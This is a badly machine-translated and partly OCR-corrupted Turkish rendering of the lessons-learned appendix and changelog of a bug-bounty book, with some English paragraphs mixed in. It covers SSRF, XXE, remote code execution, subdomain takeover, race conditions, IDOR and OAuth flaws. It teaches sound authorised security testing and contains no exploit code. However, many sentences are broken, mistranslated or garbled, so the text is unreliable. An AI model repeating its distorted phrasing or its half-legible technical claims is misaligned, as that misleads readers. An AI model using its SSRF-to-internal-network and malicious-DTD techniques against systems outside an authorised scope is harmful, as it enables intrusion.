Uzaktaki icerigi ¢eken goriinen hedef URL'ler i¢in. Bu durumda, o

oldu url = esantiyon oldu.

Ikincisi, sahip oldugunuz ilk diisiince ile kagmayin. Brett rapor verebilirdi
Bu kadar etkili olmayacak olan XSS yiikii. Biraz kazarak
daha derin, bu giivenlik agiginin gergek potansiyelini ortaya ¢ikarabildi. Ama ne zaman

bunu yaparken asmamak i¢in dikkatli olun.
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Web sitelerinin yapmasi gereken islevler icerdigi firsatlari goz 6niinde bulundurun
harici HTTP istekleri. Bunlarla karsilastiginizda, istegi isaretlemeyi deneyin

dahili olarak yukarida listelenen 6zel ag IP adresini kullanarak.

Site dahili IP’lere erigemezse, bir keresinde Justin Kennedy’ye bir numara onerildi:
dis HTTP istegini sizin kontrol ettiginiz ve yanitladiginiz bir sunucuya yapacaktim
301 yonlendirmesi ile bu istek. Bu tiir bir cevap istekte bulundugunu

Talep ettikleri kaynagin yeri degisti ve onlar1 isaret etti

yeni bir yere Yanit1 kontrol ettiginizden, yonlendirmeyi isaret edebilirsiniz.
sunucuyu gérmek i¢in dahili bir IP adresine yonlendirmek

i¢ ag

Web kancalar1 olusturmak i¢in bir URL gonderebilir veya uzaktan kasten igeri aktarabilirseniz
icerigi belirli portlar1 tanimlamaya c¢aligin. Bir sunucunun yanit verme seklindeki kiigiik degisiklikler
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farkli portlar portun agik / kapali ya da filtreli olup olmadigini ortaya ¢ikarabilir. Ek olarak
Sunucunun dondiirdigii mesajlardaki farkliliklara
bunlar agik / kapali ya da sunucunun yanit vermesi ne kadar siirerse filtreleniyorlar

istek igin.

XML Dis Varhgi Giivenlik Acigi
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Biiyiik Cocuklar bile savunmasiz kalabilir. Bu rapor neredeyse 2 yasinda olmasina ragmen,
Hala biiyiik sirketlerin nasil hatalar yapabildiginin harika bir 6rnegi. Gerekli olan

Bunu kaldirmak i¢in XML, XML ayristiric kullanan sitelere kolayca yiiklenebilir.

Ancak, bazen site yanit vermez, bu nedenle digerlerini denemeniz gerekir

Yukaridaki OWASP kopya sayfasindan girdi.

Burada birkag paket servis var. XML dosyalar1 farkl sekillerde ve boyutlarda gelir
- .docx, .xlIsx, .pptx, vb. kabul eden sitelere dikkat edin.

siddetle, bazen hemen XXE'den yanit alamayacaksiniz - bu

Ornek, ping'lenecek bir sunucuyu nasil ayarlayabileceginizi gosterir.

XXE.

Ek olarak, diger drneklerde oldugu gibi, bazen raporlar baslangicta reddedilir.
Sizinle ¢aligmaniz i¢in kendinize giivenmeniz ve baglh kalmaniz 6nemlidir.
neden rapor ederken, kararlarina saygi duyarak, bir seyin nedenini agiklarken

bir glivenlik ac181 olabilir.

Belirtildigi gibi, bu, XML sablonlarini nasil kullanabileceginizi gosteren harika bir 6rnek.

kendi XML varliklarinizi gommek i¢in bir dosya olusturun, boylece dosya uygun sekilde ayristirilir
hedef. Bu durumda, Wikiloc bir .gpx dosyas1 bekliyordu ve David bunu siirdiirdii

kendi XML varliklarin beklenen etiketlerin i¢ine, 6zellikle

<name> etiketi. Ayrica, k6t amagli bir dtd dosyasina nasil hizmet edildigini gormek ilging

daha sonra bir hedef i¢in GET istekleri yapmak bir hedef olmasi i¢in geri kaldirag edilebilir

URL parametreleri olarak dosya igerigi ile sunucu.

Uzaktan Kod Yiiriitme

Okuma basarili hacklemenin biiyiik bir pargasidir ve okuma hakkinda

yazilim agiklar1 ve Ortak Giivenlik Agiklari ve Etkilenmeler (CVE Iden-

tifiers). Ge¢mis giivenlik agiklarini bilmek, karsilastiginizda size yardimer olabilir
giivenlik giincellemelerine uymayan siteler. Bu durumda, Yahoo yamaliyd:
Sunucu ancak yanlis yapildi (ne oldugunu bulamadim

demek). Sonug olarak, ImageMagick giivenlik agigini1 bilmek Ben'e izin verdi
2000 dolarlik bir édiille sonuglanan bu yazilimi ézellikle hedeflemek.

227



Her zaman ¢ene diigiiyor ve heyecan verici olmasa da, uygun kesif yapmak

degerli oldugunu kanitlayabilir. Burada, Michiel agik alanda oturan bir giivenlik a¢ig1 buldu

6 Nisan 2014'ten bu yana sadece halka agik Angolia'da Gitrob'u galigtirarak

Facebook-Arama deposu. Siz ¢alisirken galistirilabilen ve galistirilabilen bir gorev

incelemeye devam etmek i¢in geri donerek diger hedefleri aramaya ve hacklemeye devam edin.

tamamlandiktan sonra bulgular.

Bu giivenlik ag1g1 iizerinde galismak ¢ok eglenceliydi. Ilk yigin izi kirmiziyd:

Bir seyin yanlis oldugunu ve iginde ayrintili olarak agiklanan diger giivenlik agiklarini isaretleyin.
Kitap, dumanin oldugu yerde yangin var. James Kettle'in blog yazisi yaymlanirken

Aslinda kullanmilacak kotii niyetli yiikii de goz ard1 ettim. Ancak, bu verdi

Bana Smarty'yi okuma alistirmalarini 6grenme ve 6grenme firsati

dokiimantasyon. Bunu yapmak, beni ayrilmis degiskenlere ve {php} etiketine yonlendirdi.

kendi kodumu ¢aligtir.
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Hafiza

Arabellek Tagmast eski, iyi bilinen bir giivenlik agig1dir, ancak ne zaman yaygidir

ozellikle kendi hafizasini yoneten uygulamalar ile ilgilenmek

C ++. C’ye dayal1 bir web uygulamasiyla kars1 karsiya oldugunuzu dgrenirseniz,

dil (PHP yazilmustir), arabellek tagmalar belirgin bir olasiliktir.

Ancak, yeni basliyorsaniz, muhtemelen bulmak igin zaman ayirmaya deger

enjeksiyonla ilgili giivenlik agiklarin1 daha basit hale getirin ve arabellek tagmalarina geri doniin
sen daha deneyimlisin.

Simdi yanlis uygulanan iki fonksiyonun 6rnegini gordiik.

Tampon Tasmalarina kars1 duyarli, memepy ve strepy . Bir site biliyorsak

veya uygulama C veya C ++ 'a dayaniyorsa, kaynak {izerinden arama yapmak miimkiindiir
yanlis bulmak i¢in bu dil i¢in kitapliklart kodlayin (grep gibi bir sey kullanin)

uygulamalar.

Anabhtar, sabit uzunluktaki bir degiskeni gecen uygulamalar1 bulmak olacaktir.
Her iki fonksiyona iigiincii parametre, olmasi gereken veri boyutuna karsilik gelir.

kopyalanan veriler aslinda degisken bir uzunluktayken tahsis edilir.

Ancak, yukarida belirtildigi gibi, yeni basliyorsaniz, daha degerli olabilir
geri donerek bu tiir giivenlik agiklarini aramay1 birakma vaktiniz

beyaz sapka kirma ile daha rahat olduklarinda onlari.

Bu ¢ok karmasgik bir giivenlik a¢1g1 6rnegidir. Varlik sinirinda iken

Bu kitabin amaci i¢in ¢ok teknik, ben gostermek i¢in dahil



ogrendiklerimizle benzerlikler. Bunu yiktigimizda, bu

giivenlik a¢1gy, iligkili C kodu uygulamasindaki bir hatayla da iliskilendirildi.

Hafiza yonetimi ile, 6zellikle hafizanin kopyalanmasi. Yine gidiyorsan

C seviyesi programlamada kazmaya baglamak i¢in, verilerin bulundugu alanlari aramaya baglayn.
bir hafiza konumundan digerine kopyalanmak.

Tipki Arabellek Tagmalari gibi, Bellek Bozulmasi eski ama yine de yaygin

kendi hafizasin1 yoneten uygulamalarla ¢aligirken giivenlik agig1,

ozellikle C ve C ++. Bir web uygulamasi ile ugrastiginizi 6grenirseniz

(PHP'nin yazildig1) C diline gore yollar aramak

bu hafiza manipiile edilebilir. Ancak, yine, yeni bagliyorsaniz, bu

Enjeksiyonla ilgili basit glivenlik aciklarini bulmak i¢in zaman ayirmaya deger olabilir
ve daha fazla deneyiminiz oldugunda Hafiza Yolsuzluguna geri doniin.
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Alt Etki Alan1 Devralma

DNS girisleri, giivenlik agiklarini ortaya ¢ikarmak i¢in yeni ve benzersiz bir firsat sunar. kullanim
Alt alan adlarinin varligin1 dogrulamak i¢in KnockPy ve ardindan onayla

tiglincii taraflara 6zel dikkat gosteren gegerli kaynaklara isaret ediyorlar

AWS, Github, Zendesk vb. gibi servis saglayicilar

ozellestirilmis URL’leri kaydedin.

COK DIKKAT! Bu giivenlik ag131 Subat 2016'da bulundu ve karmagik degildi
hig. Basarili bocek avi keskin gozlem gerektirir.

Agiklandig1 gibi, burada birden fazla paket servisi var. {1k énce, crt.sh ile

alt alanlar1 kesfet. Bir iginde ek hedeflerin bir altin madeni gibi goriiniiyor

programu. {kincisi, alt etki alan1 devralma yalnizca dis hizmetlerle smirh degildir

Gibi S3, Heroku, vb. Burada, Sean aslinda kaydedilen daha fazla adim att1

stiresi dolan etki alan1 Shopify isaret ediyordu. Kétii niyetli olsaydi,

alan adindaki Shopify oturum agma sayfasin1 kopyaladi ve kullanici toplamaya basladi
kimlik bilgileri.

Yine, burada birkag yolumuz var. i1k olarak, alt etki alan1 ararken

devralma, ortaya ¢iktig1 gibi * .global.ssl.fastly.net URL'leri i¢in uyanik olun

Hizla bagka bir web servisidir, kullanicilarin isimleri global olarak kaydetmelerine izin verir.
ad alani. Alanlar savunmasiz oldugunda, Hizli bir sekilde mesaj boyunca bir mesaj goriintiiler.
“Hazli etki alan1 yok” satirlari.

Ikincisi, giivenlik agiklarinizi onaylamak igin her zaman ekstra adima gegin. Bu durumda,
Ebrietas tarafindan sahip olunan onaylamak i¢in SSL sertifika bilgileri bakt1
Raporlamadan dnce Snapchat. Son olarak, devralmanin etkileri her zaman degildir
Hemen goriiniir. Bu durumda, Ebrietas bu servisin kullanildigini diisiinmedi

trafigin geldigini gorene kadar. Devralma giivenlik a¢ig1 bulursaniz,
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%e“rvis herhangi bir jstegin gelip gelmediginj (§6rmek icin bir stire bekleyebilir. Bu olabilir
tivenlik ag1gini aciklamak i¢in Konunun ciddiyetini bélirlemenize yardimel

rapor ettiginiz program etkili olanin bilesenlerinden biridir.
Giivenlik A¢1g1 Raporlar1 boliimiinde tartisildig: gibi rapor verin.

Bu 6rnegi iki nedenden dolay1 dahil ettim; Birincisi, Frans denizaltisini talep etmeye ¢alistiginda
Modulus iizerinde etki alani, tam eslesme alindi. Ancak, pes etmek yerine,

Joker kart alanini talep etmeye calisti. Diger bilgisayar korsanlari i¢in konusamiyor olsam da
Eger onun yerinde olsaydim, dener miydim bilmiyorum. Oyleyse ileriye gidiyor, eger

Kendinizi ayni konumda bulursaniz, tigiincii taraf hizmetlerinin olup olmadigini kontrol edin.

joker kart talebinde bulunur.

Ikincisi, Frans aslinda alt alan1 talep etti. Bu agik olsa da

bazi, savunmasiz oldugunuzu kanitlamanin 6nemini tekrarlamak istiyorum

raporlanmasi. Bu durumda, Frans, hak talebinde bulunabilmesini saglamak i¢in ek bir adim att1.
alt etki alan1 ve kendi igerigini barindirma. Biiyiik hacker'lar1 farklilastiran sey bu

iyi hackerlardan, raporlamadiginizdan emin olmak igin bu fazla ¢abayi sarf ediyorum

yanlis pozitifler.

Bu giivenlik ag1g1, iigiinciilere kazmanin ne kadar paha bi¢ilmez olduguna bir baska drnektir
parti servisleri, kiitiiphaneler vb. siteleri kullaniyor. Belgeleri okuyarak,

SendGrid'i 6grenmek ve sunduklart hizmetleri anlamak, Ura-

nium238 bu sorunu buldu. Ek olarak, bu 6rnekte

devralma firsatlar1 aramak, hangi islevsellik i¢in uyanik olmak

alt etki alanlar1 talep etmenize olanak saglar.

Yaris kosullar:

Yaris kosullari, bazen var olabilecek ilging bir giivenlik agi1g1 vektoriidiir
uygulamalarin para, kredi gibi bir tiir denge ile ugrastig yerlerde,

Giivenlik ag¢igini bulmak her zaman ilk denemede olmaz ve

birkag eszamanli tekrarlanan isteklerde bulunma gerektiren. Iste, Egor alt1 yapti
basarili olmadan 6nce istekler ve sonra gitti ve onaylamak i¢in bir satin alma yapti

kavramin kaniti.

Bu kirtlganligi bulmak ve kullanmak ger¢ekten ¢ok eglenceliydi;

diigmelere tiklamak zorunda kaldigimdan beri kendimle ve HackerOne platformuyla

¢ok hizli. Ancak benzer giivenlik agiklarmi belirlemeye ¢aligirken

Yukarida tanimladigim adimlarin altina diisebilecek durumlar igin

bir veritabani aramasi, kodlama mantig1 ve bir veritabani giincellemesi. Bu senaryo borg verebilir
kendisini bir yarig durumu giivenlik agig1 i¢in.

Ek olarak, testinizi otomatiklestirmenin yollarini arayin. Neyse ki benim igin miimkiin oldu
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Bunu pek ¢ok girisimde bulunmadan basarmak i¢in ancak muhtemelen sonra pes olurdu
4 veya 5, kullanicilart sinama ve her test i¢in davetiyeyi yeniden gonderme geregi verir.
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Bu tiir yaris kosullarini kabul etmek ve 6demek,

bir siteye izin verilir, bir programin 6ncelikleri, iglevselligi ve riskine baglidir

profil. Bu durumda, Keybase muhtemelen bunu denedigi i¢in kabul etti

Bunun atladigs sitelere kayitli kullanici sayisini yonetmek.

Bu, davet iglevselligi igeren tiim hata 6diil programlari i¢in gegerli degildir.

HackerOne ile gosterildigi gibi, daha dnce ele alinan davet 6rnegidir. Eger

benzer bir sey bildirirken, raporunuzun neden olmasi gerektigini agikca belirttiginizden emin olun.
bir giivenlik acig1 olarak kabul edilmek.

Bir siteyi kullanirken, ziyaret ettikten sonra verileri iyi isledigini fark ederseniz

Site, muhtemelen verileri islemek i¢in bir arka plan isi kullantyor. Bu bir kirmiz1 bayrak
Sitenin etkili olup olmayacagini gérmek i¢in isi tanimlayan kosullar test etmelisiniz
eski olanlara kars1 yeni kosullar. Bu 6rnekte, HackerOne idi

bir e-posta adresinin 6demelerini belirli bir para géndermeye kars1 birlestirmek

e-mail adresleri. Davranisi arka plandan beri iyice test ettiginizden emin olun.

isleme bagli olarak ¢ok ¢abuktan uzun zamana kadar her yerde olabilir.

kag isin tamamlanmasi i¢in kuyruga alind1 ve sitenin yaklagimi

Veri isleniyor.

Giivensiz Dogrudan Nesne Referanslari

Kimlik dogrulamaya dayal giivenlik agiklar1 artyorsaniz, aramaya devam edin
Kimlik bilgilerinin bir siteye gegirildigi yer. Bu giivenlik a¢ig1 yakalanirken
Sayfa kaynak koduna bakarak bilgileri de fark etmis olabilirsiniz.

Proxy onleyici kullanildiginda gegiriliyor.

Bir tiir kimlik bilgisi iletildigini tespit ederseniz, not almadiklarinda not alin.
sifreli goriin ve onlarla oynamaya calisin. Bu durumda, pim sadece CRrylic idi
Sifre 0e552ae717a1d08cb134f132 iken

sifre iken sifreli. Sifrelenmemis degerler giizel bir alani temsil eder.

ile oynamaya baglayin.
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OAuth

232

IDOR'lar igin testler, yeteneklerin yani sira keskin bir gozlem gerektirir. Incelerken

Giivenlik aciklar igin HTTP istekleri, asagidaki gibi hesap tanimlayicilar1 aramaya baslaym
Yukaridaki Administration_id. Alan adi iken, management_id

hesap_adi ad1 verilen , sade olana kiyasla biraz yanilticidir

tamsay1 kontrol etmem gereken bir kirmizi bayrakti. Ek olarak, uzunlugu

parametresinde, giivenlik agigindan yararlanmadan giivenlik agigindan yararlanilmasi zor olurdu.
bir siirii ag giiriiltiisi duymak,

dogru kimlik Benzer giivenlik agiklari bulursaniz, raporunuzu gelistirmek i¢in her zaman agik
kimlikleri ifsa eden HTTP yanitlari, URL'ler vb. Neyse ki benim i¢in, kimligi

Ihtiyacim olan hesap URL’sine dahil edildi.

Yukaridaki Moneybird drnegine benzese de, her ikisinin de kotiiye kullanilmasi gerektiginden

sizdirilmis kurulug kimliklerini imtiyazlar yiikseltmek i¢in, bu 6rnek harika ¢iinkii

sifir ile kullanicilara uzaktan saldirabilmenin ciddiyetini gostermektedir

onlarm adina etkilesim ve tam bir istismar gosterme ihtiyaci. Baslangicta,

Akhil tam hesap devralma dahil veya gostermedi ve

Twitter'in bu s6ze verdigi yanit (6rnegin, ayrinti istemek ve

Oyleyse), baglangigta ¢oziiliirken bu etkiyi diisiinmemis olabilirler.

Giivenlik acig1. Bu yiizden, rapor verirken, raporun tamamini dikkate aldiginizdan ve ayrintilarii anladiginizdan emin olun.

Raporladigimiz giivenlik a¢iginin, yeniden olusturma adimlari da dahil olmak iizere etkisi.

Giivenlik agiklarini ararken, eski varliklardan nasil yararlanilabilecegini g6z 6niinde bulundurun.
Hacklenirken, birakilabilecek uygulama degisikliklerine dikkat edin

bunlar gibi kaynaklar ortaya ¢ikar. Philippe'den gelen bu 6rnek harika ¢iinkii o

OAuth belirteglerini ¢alarak ve bir son hedefi belirleyerek onunla basladi

Bunu yapmak i¢in araglar.

Ek olarak, bu 6rnegi begendiyseniz Philippe'nin Bloguna g6z atmalisiniz. 1
(Kaynaklar Béliimiine dahil) ve Oturdugu Hacking Pro Ipuglar1 Roportaji
yapmak i¢in benimle agag1 - o bir ¢ok biiyiik tavsiye saglar !.

Biraz eski olsa da, bu giivenlik a¢1g1 OAuth redirect uri degerinin nasil oldugunu gosterir.
tarihlemeler kaynak sunucular tarafindan yanlis yapilandirilabilir . Bu durumda, Slack’in
bir saldirganin alan sonekleri eklemesine izin veren OAuth'un uygulanmasi

ve belirtegleri galmak.

! https://www.philippeharewood.com
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Burada birkag paket servis var. Ilk olarak, OAuth giivenlik aciklari her zaman ilgili degildir


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
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belirtegleri galmak. OAuth tarafindan korunan API isteklerine dikkat edin.

belirteci gondermiyor veya dogrulamiyor (6r. OAuth belirte¢ bashigin kaldirmay: deneyin
bir tanimlayici varsa, URL'deki sayfa kimligi gibi). [kincisi, bu énemli

Tarayicilarin Javascript ve JSON'u nasil yorumladigini anlamak ve anlamak. Bu

giivenlik ag181, Google’in gegerli bir sekilde dondiigi i¢in kismen miimkiin

JSON igeren Javascript nesnesi. Son olarak, bu ortak bir tema iken

kitap, belgeleri okuyun. Google’in yanitlarla ilgili belgeleri

elektronik tablo verilerini gonderen ¢alisan bir kavram kanit1 gelistirmenin anahtari

Uzak bir sunucuya

Uygulama Mantig1 Giivenlik Ac¢iklar:

Burada iki anahtar var. 1k olarak, her sey kod enjekte etmekle ilgili degildir,

HTML vb. Her zaman bir proxy kullanmay1 unutmayin ve hangi bilgilerin bulundugunu izleyin.
bir siteye gecti ve ne oldugunu gérmek igin onunla oyna. Bu durumda, tiim aldi

Giivenlik kontrollerini atlamak i¢in POST parametrelerinin kaldiriimasi. Tkincisi, yine hepsi degil
saldirilar HTML web sayfalarina dayanmaktadir. API bitis noktalar1 her zaman potansiyel sunar

giivenlik ag1g1 bolgesi bu yiizden her ikisini de degerlendirdiginizden ve test ettiginizden emin olun.

Kisa bir agiklama olsa da, buradaki paket servis paketinin abartilamamasi durumunda
yeni islevsellik icin dikkat! . Bir site yeni islevler uyguladiginda, bu

taze et. Yeni islevsellik, yeni kodu test etme firsatini temsil eder ve

bocek aramak. Bu Shopify Twitter CSRF ve Facebook igin ayniyd:

XSS agiklari.

Bundan en iyi sekilde yararlanmak igin, sirketlere kendinizi tanitmak iyi bir fikirdir
ve sirket bloglarina, haber biiltenlerine vb. abone olun, boylece ne zaman haberdar olun
bir sey serbest birakildi. Sonra test et.

Potansiyel bir hedef belirlerken, tiim farkli araclari not aldiginizdan emin olun,

Web servisleri de dahil olmak iizere kullantyorlar. Her servis, yazilim, isletim sistemi vb.
Potansiyel yeni bir saldir1 vektoriinii ortaya ¢ikarir. Ayrica, bu iyi bir fikir

AWS S3, Zendesk, Rails, vb. popiiler web araglarini tanimak.

birgok sitenin kullandig.

Bundan birden fazla paket var:

1. Yaraticiliginiz1 ve bunun olasi hata potansiyelini kiigimsemeyin.
gelistiricileri. HackerOne, miithis giivenlikten miithis bir ekip.
Arama yapan. Ancak insanlar hata yapar. Varsayimlarimiza meydan okuyun.
2. {lk denemeden sonra pes etmeyin. Bunu buldugumda, her birine goz attyordum.
kova mevcut degildi ve ben de neredeyse uzaklasiyordum. Ama sonra yazmaya ¢aligtim
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3. Htenrr§ ?lsgﬂgvieiféah%ﬁ]l'i. Hangi tiir giivenlik agiklarinin oldugunu biliyorsaniz,

ne arayacagimi ve test edecegini biliyorsun. Bu kitabi satin almak harika bir ilk adimdi.
4. Daha once soyledim, tekrar sdyleyecegim, bir saldir1 yiizeyi daha fazla

web sitesi, ayn1 zamanda sirketin kullandig1 hizmetler. At gozliiklerini ¢ikar.

Two factor authentication is a tricky system to get right. When you notice a site
is using it, you’ll want to fully test out all functionality including token lifetime,
maximum number of attempts, reusing expired tokens, likelihood of guessing a
token, etc.

When hacking, consider a company’s entire infrastructure fair game unless they
tell you it’s out of scope. While this report didn’t pay a bounty, I know that Patrik
has employed similar techniques to find some significant four figure payouts.

Additionally, you’ll notice there was 260,000 potential addresses here, which
would have been impossible to scan manually. When performing this type of
testing, automation is hugely important and something that should be em-
ployed.

Javascript source code provides you with actual source code from a target you
can explore. This is great because your testing goes from blackbox, having no
idea what the back end is doing, to whitebox (though not entirely) where you
have insight into how code is being executed. This doesn’t mean you have to
walk through every line, the POST call in this case was found on line 20570 with
a simple search for POST.

Sub domains and broader network configurations represent great potential for
hacking. If you notice that a program is including *.SITE.com in it’s scope, try to
find sub domains that may be vulnerable rather than going after the low hanging
fruit on the main site which everyone maybe searching for. It’s also worth your
time to familiarize yourself with tools like Nmap, eyewitness, knockpy, etc. which
will help you follow in Andy’s shoes.
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I included this example because it demonstrates two things - first, while it does
reduce the impact of the vulnerability, there are times that reporting a bug which
assumes an attacker knows a victim’s user name and password is acceptable
provided you can explain what the vulnerability is and demonstrate it’s severity.

Secondly, when testing for application logic related vulnerabilities, consider the
different ways an application could be accessed and whether security related
behaviours are consistent across platforms. In this case, it was browsers and
mobile applications but it also could include third party apps or API endpoints.
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27. Ek B - Web Hacking 101
Degisiklikler
11 Mart 2018
XSS, SSTI, SQLi, SSRF, Yaris Kosullari i¢gin yeniden agiklama yazdi
Yeni Orange Uber SQLi 6rnegi eklendi
Yeni SSRF portu tarama 6rnegi eklendi
Keybase ve HackerOne olmak iizere iki yeni yaris kosulu 6rnegi eklendi

11 Temmuz 2017



Yeni Google SSRF giivenlik a¢181 eklendi

12 Mart 2017

Kitapta kiigiik yazim hatas1 ve gramer diizeltmeleri

Yeniden Yonlendirme, HPP, CSRF, HTML Enjeksiyonu, CRLF boliim agiklamalarini yeniden yazdi

ve revize edilmis iligkili 6rnekler
18 Kasim 2016
Uber alt alan ad1 devralma 6rnegi eklendi
Google Sheets OAuth 6rnegi eklendi
11 Kasim 2016
Yeni IDOR o6rnekleri, Moneybird ve Twitter eklendi

Twitter'dan yeni Application Logic drnegi eklendi
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Yeni OAuth Chapter ve bir 6rnek eklendi

Alt Etki Alani'ndan Tasfiye Edilen Philippe'in Facebook OAuth 6rnegi
OAuth

6 Kasim 2016

Boliimleri yeniden siparis ettim ve Yarig Kosullarmi ve IDOR'yu kendileri olarak ekledi

bolimler

Araglar boliimiine GitRob ve RaceTheWeb eklendi

HackerOne'dan yeni Yarig Kosullar1 6rnegi eklendi, davet kabul edildi

3 Ekim 2016

Iki yeni Uzaktan Kod Yiiriitme giivenlik ag1g1 eklendi

Facebook drnegini netlestirmek i¢in XXE boliimii giincellendi

Cesitli yazim hatasi diizeltmeleri

21 Eylil 2016

Eklenen yeni alt etki alan1 6rnegi ele aldi, # 6 - api.legalrobot.com



Take Aways'in Ek B'si Eklendi

23 Agustos 2016

Eklenen yeni alt etki alan1 6rnegi ele aldi, # 5 - Snapcchat fastly.sc devralinmasi

Yeni araglar eklendi: XSSHunter, Censys, OnlineHashCrack, Ysoserial

1.5.7 sanal alan kacigini da iceren AngularJS icin yeni kod sayfasi eklendi



